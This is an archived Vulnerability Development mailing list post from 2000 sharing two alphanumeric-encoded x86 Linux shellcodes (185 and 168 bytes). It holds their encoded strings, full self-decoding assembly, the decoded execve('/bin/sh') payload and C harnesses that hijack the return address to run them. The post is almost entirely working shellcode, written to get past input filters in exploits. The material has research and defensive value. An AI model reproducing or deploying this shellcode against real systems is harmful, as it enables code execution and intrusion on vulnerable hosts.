Vulnerability Development mailing list archives
Re: ascii decoder
From: Ramon Pinuaga <rpinuaga () S21SEC COM>
Date: Mon, 16 Oct 2000 19:35:45 +0200
Hi: Here you have 2 ascii shellcodes that seems to work. This can help you with some ideas. The two are from 2 friends that were working on it some weeks ago. 185 bytes by shinji =================================== // 185 bytes, quien dice que los milagros no existen? char hell[]= "LuHDMOBBALDFIHAO" "JGIIEALJGMAAIPIL" "JDNEAIFOINGAMIOM" "NAIOPPPIPPPCGGGP" "CJOCHGAPDIALLLTX" "1838YW1030YVj0YI" "j9X40PZhFFCCX1DN" "Dj0X40H47Pf5qF0D" "N00DN81DNYYFFF8l" "NpAAAA8lNtAAAAiD" "NpVFCC3DNt3DOp1D" "OpAAFJujz" ""; //shellcode decoded: //"\x31\xc0" // xorl %eax,%eax //"\xeb\x13" // jmp 0x13 //"\x5e" // popl %esi //"\x89\x76\x08" // movl %esi,0x8(%esi) //"\x89\x46\x0c" // movl %eax,0xc(%esi) //"\xb0\x0b" // movb $0xb,%al //"\x89\xf3" // movl %esi,%ebx //"\x8d\x4e\x08" // leal 0x8(%esi),%ecx //"\x8d\x56\x0c" // leal 0xc(%esi),%edx //"\xcd\x80" // int $0x80 //"\xe8\xe8\xff\xff\xff" // call -0x22 //"/bin/sh\x00";//\x2f\x62\x69\x6e\x2f\x73\x68\x00 int main() { int *ret; printf("%d\n",strlen(hell)); ret = (int *)&ret + 2; (*ret) = (int)hell; } /*--------------------------------------------------- ; 185 bytes, quien dice que los milagros no existen? ; LuHDMOBBALDFIHAO ; JGIIEALJGMAAIPIL ; JDNEAIFOINGAMIOM ; NAIOPPPIPPPCGGGP ; CJOCHGAPDIALLLTX ; 1838YW1030YVj0YI ; j9X40PZhFFCCX1DN ; Dj0X40H47Pf5qF0D ; N00DN81DNYYFFF8l ; NpAAAA8lNtAAAAiD ; NpVFCC3DNt3DOp1D ; OpAAFJujz .386 .model flat .data .code org 0000h start: DEC ESP JNZ ini; salta siempre shellcode: ; "\x31\xc0" // xorl %eax,%eax ; "\xeb\x13" // jmp 0x13 DB 44h,4Dh,4Fh,42h DB 42h,41h,4Ch,44h ; "\x5e" // popl %esi ; "\x89\x76\x08" // movl %esi,0x8(%esi) DB 46h,49h,48h,41h DB 4Fh,4Ah,47h,49h ; "\x89\x46\x0c" // movl %eax,0xc(%esi) ; "\xb0\x0b" // movb $0xb,%al DB 49h,45h,41h,4Ch DB 4Ah,47h,4Dh,41h ; "\x89\xf3" // movl %esi,%ebx ; "\x8d\x4e\x08" // leal 0x8(%esi),%ecx DB 41h,49h,50h,49h DB 4Ch,4Ah,44h,4Eh ; "\x8d\x56\x0c" // leal 0xc(%esi),%edx DB 45h,41h,49h,46h DB 4Fh,49h,4Eh,47h ; "\xcd\x80" // int $0x80 ; "\xe8\xe8\xff\xff\xff" // call -0x22 DB 41h,4Dh,49h,4Fh DB 4Dh,4Eh,41h,49h DB 4Fh,50h,50h,50h DB 49h,50h,50h,50h ; "/bin/sh\x00";//\x2f\x62\x69\x6e\x2f\x73\x68\x00 DB 43h,47h,47h,47h DB 50h,43h,4Ah,4Fh DB 43h,48h,47h,41h DB 50h,44h,49h,41h workzone: ini: DEC ESP DEC ESP DEC ESP PUSH ESP POP EAX XOR [EAX], EDI XOR EDI, [EAX] ; EDI apunta a start POP ECX PUSH EDI XOR [EAX], ESI XOR ESI, [EAX] ; ESI apunta a start POP ECX PUSH ESI _ECX equ 38h _BYTEHALF equ 2Fh PUSH 30h POP ECX DEC ECX ; ECX == _BYTEHALF _BYTE equ _BYTEHALF*2 PUSH 39h POP EAX XOR AL,30h PUSH EAX POP EDX ; EDX == 00000009h PUSH 43434646h POP EAX ; EAX == 43434646h XOR [ESI+2*ECX+(offset _imul-offset start-_BYTE)],EAX ; poner el valor del IMUL (*43434646*,43434656) PUSH 30h POP EAX XOR AL,30h DEC EAX ; EAX == FFFFFFFFh XOR AL,(_ECX-1) PUSH EAX XOR AX,(4646h xor (_ECX-1)) ; EAX == FFFFB9B9h (B9 == FF xor 46, o FF xor 37 xor 71) XOR [ESI+2*ECX+(offset _sub1-offset start-_BYTE)],AL ; poner el SUB=10000001 (*FF,46*,38) XOR [ESI+2*ECX+(offset _sub2-offset start-_BYTE)],AL ; poner el SUB=10000001 (*FF,46*,38) XOR [ESI+2*ECX+(offset _offset-offset start-_BYTE)],EAX ; poner el offset y el RET (*FFFF,4646*,xxxx) ; es inecesario el EAH, pero me ahorro un byte asi POP ECX ; ECX == -38h == FF,37 == C8 ;main bucle bucle: INC ESI INC ESI INC ESI ; al principio hacen falta 3 de mas... y en el bucle tanto da ; para que ESI apunte al shellcode _sub1: DB 38h, 6Ch, 4Eh, _ECX*2, 41h, 41h, 41h, 41h ; SUB [ESI+2*ECX+_ECX*2],41414141h ; ^^ acabara poniendo 81h (38 xor (FF xor 46)) _sub2: DB 38h, 6Ch, 4Eh, _ECX*2+4, 41h, 41h, 41h, 41h ; SUB [ESI+2*ECX+_ECX*2*4],41414141h ; ^^ acabara poniendo 81h (38 xor (FF xor 46)) IMUL EAX,[ESI+2*ECX+_ECX*2],43434656h ; acabara poniendo 16==00000010h mediante un XOR _imul equ $-4 XOR EAX,[ESI+2*ECX+_ECX*2+4] XOR EAX,[EDI+2*ECX+_ECX*2] XOR [EDI+2*ECX+_ECX*2], EAX INC ECX INC ECX INC ESI DEC EDX ; contador _jnz: DB 75h ; JNZ bucle _offset: DB 6Ah ; acabara poniendo D3 == (6A xor (FF xor 46)) _ret: DB 7Ah ; acabara poniendo C3 ("RET NEAR") == (7A xor (FF xor 46)) fin equ $ end start ---------------------------------------------------------*/ ======================================= 168 bytes by fatuo ======================================= char hell[]= //"LL" // 4c * 2 dec %esp * 2 //No necesitamos el salto pq el shellcode codificado no nos perturba, mas bien ayuda // Shellcode codificado "JAAAIJAA" "AOADAJMO" "MEAAFGMA" "AAAIAAAH" "NOAOBJCJ" "AIFAJHGI" "IEAILOIL" "DAMIGMLA" "OONNICNN" "NCGGNNCH" "GCFGONBI" "A" // Shellcode desencriptado "LLL" // 4c * 2 dec %esp * 2 veces (Ya he hecho 2 al principio) "A" // Instruccion inutil ke es parte del shellcode codificado "Z" // 5a pop %edx "R" // 52 push %edx // EDX == direccion del shellcode enc ; guardamos la dir en la pila para la recuperarla luego "j9" // 6a 39 push $0x39 "X" // 58 pop %eax "0Bf" // 30 42 66 xor %al,0x66(%edx) // Modificamos el pop %esi para ke haga su funcion "P" // 50 push %eax "g" // 5e pop %esi // ESI == +0x39 Para referenciar al shellcode codificado del imul junto kon el EDX // y para escribir el shellcode de "shell" despues del fin de este shellcode "0D2K" // 30 44 32 4b xor %al,0x4b(%edx,%esi,1) // Modificamos el pop %esp para ke haga su funcion "4a" // 34 61 xor $0x61,%al "0D2U" // 30 44 32 55 xor %al,0x55(%edx,%esi,1) // El imul ha sido modifikado para ke haga multiplikaciones por 2^16 "4T" // 34 54 xor $0x54,%al "P" // 50 push %eax "Y" // 59 pop %ecx // ECX == 0xc ; Contador para el loop de desencriptacion "V" // 56 push %esi "X" // 58 pop %eax "49" // 34 39 xor $0x39,%al "H" // 48 dec %eax "4z" // 34 7a xor $0x7a,%al "0D2T" // 30 44 32 54 xor %al,0x54(%edx,%esi,1) // Para ke el imul se guarde en el registro %eax "0D2n" // 30 44 32 6e xor %al,0x6e(%edx,%esi,1) // Modificamos el jnz para ke haga un salto hacia atras "e" // 5c pop %esp <KODIFICADO> // ESP == dir del shellcode codificado // loop: "G" // 47 inc %edi // Byte de relleno ke no afecta y sirve para aklarar offsets "X" // 58 pop %eax "5AAAA" // 35 41 41 41 41 xor $0x41414141,%eax "kEH" // 6b c0 10 imul $0x10,%eax,%eax <KODIFICADO> "3D2o" // 33 44 32 6f xor 0x6f(%edx,%esi,1),%eax "1D2o" // 31 44 32 6f xor %eax,0x6f(%edx,%esi,1) "X" // 58 pop %eax "5AAAA" // 35 41 41 41 41 xor $0x41414141,%eax "1D2o" // 31 44 32 6f xor %eax,0x6f(%edx,%esi,1) "FFFF" // 46 * 4 inc %esi * 4 "I" // 49 dec %ecx "uX" // 75 d2 jne <loop> <KODIDICADO> // Loop descodificador // AKI IRA EL SHELLCODE DESCODIFICADO ; int func() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)hell; } int main() { printf("Long: %d\n",strlen(hell)); func(); } /* Ahora usaremos este shellcode: char shellcode[]= "\xb8\x0b\x00\x00\x00" // movl $0xb,%eax "\xeb\x0c" // jmp 0x0c "\x5e" // popl %esi "\xc7\x46\x0c\x00\x00\x00\x00" //movl $0x0,0xc(%esi) "\x89\xf3" // movl %esi,%ebx "\xeb\x02" // jmp 0x02 "\xeb\x0b" // jmp 0x08 "\x89\x76\x08" // movl %esi,0x8(%esi) "\x8d\x4e\x08" // leal 0x8(%esi),%ecx "\x8d\x56\x0c" // leal 0xc(%esi),%edx "\xcd\x80" // int $0x80 "\xe8\xe2\xff\xff\xff" // call -0x22 "\x2f\x62\x69\x6e\x2f\x73\x68\x00" ; */ ================================= -------------------------------------------- Ramon Pinuaga Cascales - rpinuaga () s21sec com Consultor de Seguridad Telematica - S21SEC -------------------------------------------- La seguridad es solo un estado mental...
Current thread:
- ascii decoder Slawek (Oct 09)
- Re: ascii decoder Ryan Yagatich (Oct 09)
- Re: ascii decoder Slawek (Oct 10)
- Re: ascii decoder Alex Schuetz (Oct 10)
- Re: ascii decoder Slawek (Oct 11)
- Re: ascii decoder Kev (Oct 11)
- Re: ascii decoder Slawek (Oct 11)
- Re: ascii decoder Jefferson Ogata (Oct 12)
- Re: ascii decoder Lincoln Yeoh (Oct 12)
- Re: ascii decoder Slawek (Oct 10)
- Re: ascii decoder Ryan Yagatich (Oct 09)
- Re: ascii decoder Ramon Pinuaga (Oct 16)